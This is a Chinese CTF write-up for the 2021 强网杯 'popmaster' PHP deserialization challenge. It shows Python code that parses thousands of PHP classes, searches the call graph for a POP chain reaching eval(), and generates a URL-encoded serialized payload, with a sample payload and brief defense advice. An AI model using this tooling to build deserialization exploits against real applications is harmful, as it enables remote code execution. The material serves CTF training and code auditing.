强网杯2021-popmaster 一种使用python对php代码进行语法分析并构造pop链的解法
字数 997 2025-08-11 08:36:09
PHP反序列化POP链自动化构造技术详解
一、背景与问题描述
在2021年强网杯比赛中出现了一道特殊的PHP反序列化题目,要求选手从10000个PHP类中自动发现并构造POP(Property-Oriented Programming)链。这道题目的核心挑战在于:
- 类数量庞大:手动分析10000个类不现实
- 代码模式相似:类结构相似但细节不同
- 入口点明确:已知反序列化入口和调用方法
二、技术思路概述
解决方案采用Python对PHP代码进行语法分析,构建函数调用图,然后通过图搜索算法寻找从入口点到危险函数(如eval)的路径。主要步骤包括:
- 解析PHP类结构
- 分析函数调用关系
- 构建函数调用图
- 搜索有效POP链
- 生成可利用的Payload
三、PHP代码解析技术
1. 类结构解析
使用正则表达式提取类名和成员变量:
class_regx = r'class (?P<class_name>([a-zA-Z0-9]*))\{'
attr_regx = r'public (?P<attr_name>\$([a-zA-Z0-9]*));'
2. 函数分析方法
每个函数可归纳为四种类型:
-
二叉节点:可能跳转到两个不同方法
if(method_exists($this->AaPmGl7, 'icxBGG')) $this->AaPmGl7->icxBGG($qibhA); if(method_exists($this->AaPmGl7, 'wYm0AE')) $this->AaPmGl7->wYm0AE($qibhA); -
直达节点:只跳转到一个确定方法
$this->RPnM7bF->ymYuZ6($DnGm5); -
终点节点:执行危险操作
eval($nyVpC); -
死胡同节点:参数被污染或无法继续跳转
for($i = 0; $i < 4; $i++){ $gFQYO = $rnsYU; // 参数被覆盖 }
3. 关键代码解析
函数特征提取
class FunctionObj:
def __init__(self, function_name="", is_blind_alley=False,
next_fucntion=None, class_name="", argv_name="",
is_tautology=-1):
self.function_name = function_name
self.is_blind_alley = is_blind_alley # 是否为死胡同
self.next_fucntion = next_fucntion # 可跳转的函数
self.class_name = class_name # 所属类名
self.argv_name = argv_name # 参数名
self.is_tautology = is_tautology # 重言式分析结果
类特征提取
class ClassObj:
def __init__(self, class_name="", attr_name="", function_list=None):
self.class_name = class_name # 类名
self.attr_name = attr_name # 成员变量名
self.function_list = function_list # 包含的函数列表
四、POP链搜索算法
1. 深度优先搜索(DFS)实现
vis_func = {}
def dfs(function_obj: FunctionObj, function_obj_list: Dict[str, FunctionObj]):
# 避免循环
if function_obj.function_name in vis_func:
return None
# 死胡同检查
if function_obj.is_blind_alley == True:
return None
# 到达终点
if "eval" in function_obj.next_fucntion:
return [function_obj]
# 遍历所有可能的跳转
for i in function_obj.next_fucntion:
res: List[FunctionObj] = dfs(function_obj_list[i], function_obj_list)
vis_func[i] = 1
if res != None:
return [function_obj] + res
2. 重言式分析技术
识别永远不会执行或总是执行的代码块:
# if形式的重言式
if_regx = r'if$(?P<num1>[0-9]+)>(?P<num2>[0-9]+)$'
# for形式的不可达代码
for_regx = r'for$\$i = 0; \$i < 0; \$i\+\+$'
五、Payload生成技术
1. 序列化对象构造
根据找到的POP链生成PHP代码:
def create_pop_code(pop_chain: List[FunctionObj], class_obj: Dict[str, ClassObj]):
f = open('code.php', 'w')
f.write('<?php\n')
# 生成链上所有类的定义
for i in range(0, len(pop_chain)-1):
obj = pop_chain[i]
f.write(f'class {obj.class_name}{{\n')
f.write(f'{" "*4}public {class_obj[obj.class_name].attr_name};\n')
f.write(f"{' '*4}public function __construct(){{\n")
f.write(f"{' '*8}$this->{class_obj[obj.class_name].attr_name.replace('$','')} = " +
f"new {pop_chain[i+1].class_name}();\n{' '*4}}}\n")
f.write(f'}}\n')
# 最后一个类只需要属性不需要构造
f.write(f"class {pop_chain[-1].class_name}{{\n")
f.write(f'{" "*4}public {class_obj[pop_chain[-1].class_name].attr_name};\n')
f.write(f'}}\n')
# 生成序列化代码
code = f'$obj = new {pop_chain[0].class_name}();\n'
code += '$ser_obj = serialize($obj);\n'
code += 'echo urlencode($ser_obj);\n'
f.write(code)
f.write('?>')
f.close()
2. 生成的Payload示例
<?php
class rwUC5h{
public $gKq07rH;
public function __construct(){
$this->gKq07rH = new qREoNb();
}
}
class qREoNb{
public $WLMRgSL;
public function __construct(){
$this->WLMRgSL = new eT6o39();
}
}
// ... 更多类定义 ...
class AyhzQl{
public $ceYMut9;
}
$obj = new rwUC5h();
$ser_obj = serialize($obj);
echo urlencode($ser_obj);
?>
六、关键技术与注意事项
-
参数污染分析:必须识别参数是否在传递过程中被修改
// 会被识别为污染 for($i = 0; $i < 4; $i++){ $gFQYO = $rnsYU; } // 不会被识别为污染(因为循环条件为假) for($i = 0; $i < 0; $i++){ $gFQYO = $rnsYU; } -
方法存在性检查处理:
// 需要识别为两个可能的跳转 if(method_exists($this->RZWCE4l, 'GsMUZA')) $this->RZWCE4l->GsMUZA($B0g0L); if(method_exists($this->RZWCE4l, 'PpImCU')) $this->RZWCE4l->PpImCU($B0g0L); -
性能优化:对于大规模类分析,可以考虑:
- 并行处理不同类的解析
- 使用更高效的正则表达式
- 对已分析过的模式进行缓存
七、防御建议
针对此类自动化POP链构造技术,开发者可以采取以下防御措施:
- 避免在反序列化对象中使用
eval等危险函数 - 对反序列化操作进行严格的白名单控制
- 使用PHP的
__wakeup()或__destruct()方法进行安全检查 - 考虑使用签名机制验证序列化数据的合法性
八、总结
本文详细介绍了使用Python自动化分析PHP代码并构造POP链的技术,包括:
- PHP类与函数的解析方法
- 函数调用图的构建技术
- 有效POP链的搜索算法
- 可利用Payload的生成方法
这种技术不仅适用于CTF比赛,也可用于真实世界的代码审计和安全研究,帮助安全人员快速发现复杂的反序列化漏洞。